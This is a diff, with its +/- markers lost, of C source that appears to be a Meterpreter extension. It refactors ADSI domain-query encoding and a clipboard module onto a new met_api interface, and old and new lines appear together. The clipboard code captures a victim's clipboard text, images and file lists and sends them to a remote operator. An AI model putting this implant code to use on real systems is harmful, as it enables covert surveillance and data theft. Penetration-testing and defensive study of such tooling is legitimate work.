met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
break;
}
case ADSTYPE_CASE_IGNORE_STRING:
{
dprintf("[EXTAPI ADSI] Case Ignore String: %S", col.pADsValues->CaseIgnoreString);
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
break;
}
case ADSTYPE_BOOLEAN:
{
dprintf("[EXTAPI ADSI] Boolean");
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
break;
}
case ADSTYPE_OCTET_STRING:
{
dprintf("[EXTAPI ADSI] Octet string");
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
break;
}
case ADSTYPE_UTC_TIME:
@ -259,54 +260,54 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
SYSTEMTIME* pt = &col.pADsValues->UTCTime;
sprintf_s(value, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
break;
}
case ADSTYPE_PROV_SPECIFIC:
{
dprintf("[EXTAPI ADSI] Provider specific");
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
break;
}
case ADSTYPE_OBJECT_CLASS:
{
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
break;
}
case ADSTYPE_CASEIGNORE_LIST:
{
// list of strings, yay!
Packet* pStrings = packet_create_group();
Packet* pStrings = met_api->packet.create_group();
PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList;
dprintf("[EXTAPI ADSI] Case Ignore List");
while (list != NULL)
{
packet_add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
met_api->packet.add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
list = list->Next;
}
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
break;
}
case ADSTYPE_PATH:
{
PADS_PATH path = col.pADsValues->pPath;
Packet* pPathGroup = packet_create_group();
Packet* pPathGroup = met_api->packet.create_group();
dprintf("[EXTAPI ADSI] PATH");
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
packet_add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
met_api->packet.add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
break;
}
case ADSTYPE_POSTALADDRESS:
{
Packet* pAddressGroup = packet_create_group();
Packet* pAddressGroup = met_api->packet.create_group();
PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress;
for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]); ++i)
@ -316,33 +317,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
continue;
}
packet_add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
met_api->packet.add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
}
dprintf("[EXTAPI ADSI] postal address list");
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
break;
}
case ADSTYPE_TIMESTAMP:
{
ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp;
dprintf("[EXTAPI ADSI] timestamp");
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
break;
}
case ADSTYPE_BACKLINK:
{
ADS_BACKLINK* pbl = &col.pADsValues->BackLink;
dprintf("[EXTAPI ADSI] backlink");
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
break;
}
case ADSTYPE_TYPEDNAME:
{
PADS_TYPEDNAME ptn = col.pADsValues->pTypedName;
dprintf("[EXTAPI ADSI] typed name");
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
break;
}
case ADSTYPE_NETADDRESS:
@ -353,12 +354,12 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, ".");
if (s)
{
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
free(s);
}
else
{
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
}
dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength);
break;
@ -366,7 +367,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
case ADSTYPE_EMAIL:
{
dprintf("[EXTAPI ADSI] email");
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
break;
}
case ADSTYPE_NT_SECURITY_DESCRIPTOR:
@ -376,39 +377,39 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
if(ConvertSidToStringSid((PSID)psd->lpValue, &s))
{
dprintf("[EXTAPI ADSI] converted SID: %s", s);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
LocalFree(s);
}
else
{
dprintf("[EXTAPI ADSI] byte SID");
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
}
break;
}
case ADSTYPE_DN_WITH_BINARY:
{
Packet* pDnGroup = packet_create_group();
Packet* pDnGroup = met_api->packet.create_group();
PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary;
dprintf("[ADSI] DN with string");
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
packet_add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
met_api->packet.add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
break;
}
case ADSTYPE_DN_WITH_STRING:
{
Packet* pDnGroup = packet_create_group();
Packet* pDnGroup = met_api->packet.create_group();
PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString;
dprintf("[ADSI] DN with string");
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
break;
}
@ -419,7 +420,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
// this is a string of some kind
dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType);
sprintf_s(value, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
break;
}
}
@ -429,7 +430,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
else
{
dprintf("[ADSI] Col read failed: %x", hr);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
}
dwIndex++;
@ -439,7 +440,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
{
dprintf("[ADSI] Adding group packet of %u values", dwIndex);
// Throw the user details together in a group, ready to return.
packet_add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
met_api->packet.add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
dprintf("[ADSI] Added group packet of %u values", dwIndex);
}
else

View File

@ -3,7 +3,8 @@
* @brief Definitions for clipboard interaction functionality.
*/
#include "extapi.h"
#include "../../common/thread.h"
#include "common.h"
#include "common_metapi.h"
#include "clipboard.h"
#include "clipboard_image.h"
@ -300,7 +301,7 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL
if (bRemoveLock && pCaptureList->pClipboardCaptureLock)
{
lock_destroy(pCaptureList->pClipboardCaptureLock);
met_api->lock.destroy(pCaptureList->pClipboardCaptureLock);
pCaptureList->pClipboardCaptureLock = NULL;
}
@ -331,7 +332,7 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
{
ClipboardFile* pFile;
Packet* group = packet_create_group();
Packet* group = met_api->packet.create_group();
TlvType groupType;
Packet* file = NULL;
char timestamp[40];
@ -341,21 +342,21 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
memset(timestamp, 0, sizeof(timestamp));
timestamp_to_string(&pCapture->stCaptureTime, timestamp);
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
switch (pCapture->captureType)
{
case CapText:
dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT;
break;
case CapImage:
dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
met_api->packet.add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG;
break;
case CapFiles:
@ -364,16 +365,16 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
while (pFile)
{
dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
file = packet_create_group();
file = met_api->packet.create_group();
dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
met_api->packet.add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize);
packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
met_api->packet.add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
dprintf("[EXTAPI CLIPBOARD] Adding group");
packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
met_api->packet.add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
pFile = pFile->pNext;
dprintf("[EXTAPI CLIPBOARD] Moving to next");
@ -382,7 +383,7 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
break;
}
packet_add_group(pResponse, groupType, group);
met_api->packet.add_group(pResponse, groupType, group);
}
/*!
@ -397,7 +398,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
{
ClipboardCapture* pCapture = NULL;
lock_acquire(pCaptureList->pClipboardCaptureLock);
met_api->lock.acquire(pCaptureList->pClipboardCaptureLock);
pCapture = pCaptureList->pHead;
while (pCapture)
{
@ -409,7 +410,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
{
destroy_clipboard_monitor_capture(pCaptureList, FALSE);
}
lock_release(pCaptureList->pClipboardCaptureLock);
met_api->lock.release(pCaptureList->pClipboardCaptureLock);
}
/*!
@ -429,7 +430,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
ClipboardFile* pNewFiles = NULL;
BOOL bResult = FALSE;
lock_acquire(pList->pClipboardCaptureLock);
met_api->lock.acquire(pList->pClipboardCaptureLock);
do
{
@ -501,7 +502,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
}
} while (0);
lock_release(pList->pClipboardCaptureLock);
met_api->lock.release(pList->pClipboardCaptureLock);
return bResult;
}
@ -520,7 +521,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
return FALSE;
}
lock_acquire(pList->pClipboardCaptureLock);
met_api->lock.acquire(pList->pClipboardCaptureLock);
pNewCapture->pNext = NULL;
if (pList->pTail == NULL)
@ -533,7 +534,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
pList->pTail = pList->pTail->pNext = pNewCapture;
}
pList->dwClipboardDataSize += pNewCapture->dwSize;
lock_release(pList->pClipboardCaptureLock);
met_api->lock.release(pList->pClipboardCaptureLock);
return TRUE;
}
@ -931,7 +932,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
DWORD dwResult;
ClipboardCapture* pCapture = NULL;
BOOL bDownload = FALSE;
Packet *pResponse = packet_create_response(packet);
Packet *pResponse = met_api->packet.create_response(packet);
do
{
@ -941,7 +942,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
}
bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
bDownload = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS)
{
@ -960,7 +961,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
if (pResponse)
{
dprintf("[EXTAPI CLIPBOARD] sending response");
packet_transmit_response(dwResult, remote, pResponse);
met_api->packet.transmit_response(dwResult, remote, pResponse);
}
return dwResult;
@ -993,7 +994,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
}
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
if ((lpClipString = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
}
@ -1047,7 +1048,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
pGlobalFree(hClipboardData);
}
packet_transmit_empty_response(remote, packet, dwResult);
met_api->packet.transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
@ -1082,7 +1083,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
// signal to the caller that our thread has started
dprintf("[EXTAPI CLIPBOARD] Thread started");
pState->bRunning = TRUE;
event_signal(pState->hResponseEvent);
met_api->event.signal(pState->hResponseEvent);
waitableHandles[0] = thread->sigterm->handle;
waitableHandles[1] = pState->hPauseEvent->handle;
@ -1106,13 +1107,13 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
dprintf("[EXTAPI CLIPBOARD] Thread paused");
pState->bRunning = FALSE;
// indicate that we've paused
event_signal(pState->hResponseEvent);
met_api->event.signal(pState->hResponseEvent);
break;
case 2: // resume the thread
dprintf("[EXTAPI CLIPBOARD] Thread resumed");
pState->bRunning = TRUE;
// indicate that we've resumed
event_signal(pState->hResponseEvent);
met_api->event.signal(pState->hResponseEvent);
break;
default:
// timeout, so pump messages
@ -1129,7 +1130,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
// and we're done, switch off, and tell the caller we're done
pState->bRunning = FALSE;
destroy_clipboard_monitor_window(pState);
event_signal(pState->hResponseEvent);
met_api->event.signal(pState->hResponseEvent);
dprintf("[EXTAPI CLIPBOARD] Thread stopped");
} while (0);
@ -1149,19 +1150,19 @@ VOID destroy_clipboard_monitor_state(ClipboardState** ppState)
ClipboardState* pState = *ppState;
if (pState->hThread != NULL)
{
thread_destroy(pState->hThread);
met_api->thread.destroy(pState->hThread);
}
if (pState->hPauseEvent != NULL)
{
event_destroy(pState->hPauseEvent);
met_api->event.destroy(pState->hPauseEvent);
}
if (pState->hResumeEvent != NULL)
{
event_destroy(pState->hResumeEvent);
met_api->event.destroy(pState->hResumeEvent);
}
if (pState->hResponseEvent != NULL)
{
event_destroy(pState->hResponseEvent);
met_api->event.destroy(pState->hResponseEvent);
}
destroy_clipboard_monitor_capture(&pState->captureList, TRUE);
@ -1206,7 +1207,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
memset(pState, 0, sizeof(ClipboardState));
lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
lpClassName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
if (lpClassName == NULL || strlen(lpClassName) == 0)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
@ -1215,12 +1216,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
pState->bCaptureImageData = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
pState->hPauseEvent = event_create();
pState->hResumeEvent = event_create();
pState->hResponseEvent = event_create();
pState->captureList.pClipboardCaptureLock = lock_create();
pState->hPauseEvent = met_api->event.create();
pState->hResumeEvent = met_api->event.create();
pState->hResponseEvent = met_api->event.create();
pState->captureList.pClipboardCaptureLock = met_api->lock.create();
if (pState->hPauseEvent == NULL
|| pState->hResumeEvent == NULL
@ -1229,7 +1230,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
}
pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
pState->hThread = met_api->thread.create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
if (pState->hThread == NULL)
{
@ -1237,10 +1238,10 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
}
gClipboardState = pState;
thread_run(pState->hThread);
met_api->thread.run(pState->hThread);
// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
if (!event_poll(pState->hResponseEvent, 4000))
if (!met_api->event.poll(pState->hResponseEvent, 4000))
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
}
@ -1262,7 +1263,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
gClipboardState = NULL;
}
packet_transmit_empty_response(remote, packet, dwResult);
met_api->packet.transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
@ -1276,8 +1277,8 @@ DWORD clipboard_monitor_pause(ClipboardState* pState)
{
if (pState->bRunning)
{
event_signal(pState->hPauseEvent);
event_poll(pState->hResponseEvent, INFINITE);
met_api->event.signal(pState->hPauseEvent);
met_api->event.poll(pState->hResponseEvent, INFINITE);
}
return ERROR_SUCCESS;
@ -1292,8 +1293,8 @@ DWORD clipboard_monitor_resume(ClipboardState* pState)
{
if (!pState->bRunning)
{
event_signal(pState->hResumeEvent);
event_poll(pState->hResponseEvent, INFINITE);
met_api->event.signal(pState->hResumeEvent);
met_api->event.poll(pState->hResponseEvent, INFINITE);
}
return ERROR_SUCCESS;
@ -1321,7 +1322,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
dwResult = clipboard_monitor_pause(gClipboardState);
} while (0);
packet_transmit_empty_response(remote, packet, dwResult);
met_api->packet.transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
@ -1348,7 +1349,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
dwResult = clipboard_monitor_resume(gClipboardState);
} while (0);
packet_transmit_empty_response(remote, packet, dwResult);
met_api->packet.transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
@ -1364,7 +1365,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
DWORD dwResult = ERROR_SUCCESS;
BOOL bDump = TRUE;
BOOL bIncludeImages = TRUE;
Packet *pResponse = packet_create_response(packet);
Packet *pResponse = met_api->packet.create_response(packet);
do
{
@ -1374,18 +1375,18 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
}
dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
bDump = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
// now stop the show
event_signal(gClipboardState->hThread->sigterm);
met_api->event.signal(gClipboardState->hThread->sigterm);
// if they don't terminate in a reasonable period of time...
if (!event_poll(gClipboardState->hResponseEvent, 10000))
if (!met_api->event.poll(gClipboardState->hResponseEvent, 10000))
{
// ... FINISH HIM!
dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
thread_kill(gClipboardState->hThread);
met_api->thread.kill(gClipboardState->hThread);
}
if (bDump)
@ -1397,7 +1398,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
met_api->packet.transmit_response(dwResult, remote, pResponse);
return dwResult;
}
@ -1413,7 +1414,7 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeImages = TRUE;
BOOL bPurge = TRUE;
Packet *pResponse = packet_create_response(packet);
Packet *pResponse = met_api->packet.create_response(packet);
do
{
@ -1421,8 +1422,8 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
bPurge = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
@ -1430,15 +1431,15 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
if (bPurge)
{
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
}
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
met_api->packet.transmit_response(dwResult, remote, pResponse);
return dwResult;
}
@ -1454,7 +1455,7 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeImages = TRUE;
BOOL bPurge = TRUE;
Packet *pResponse = packet_create_response(packet);
Packet *pResponse = met_api->packet.create_response(packet);
do
{
@ -1463,14 +1464,14 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
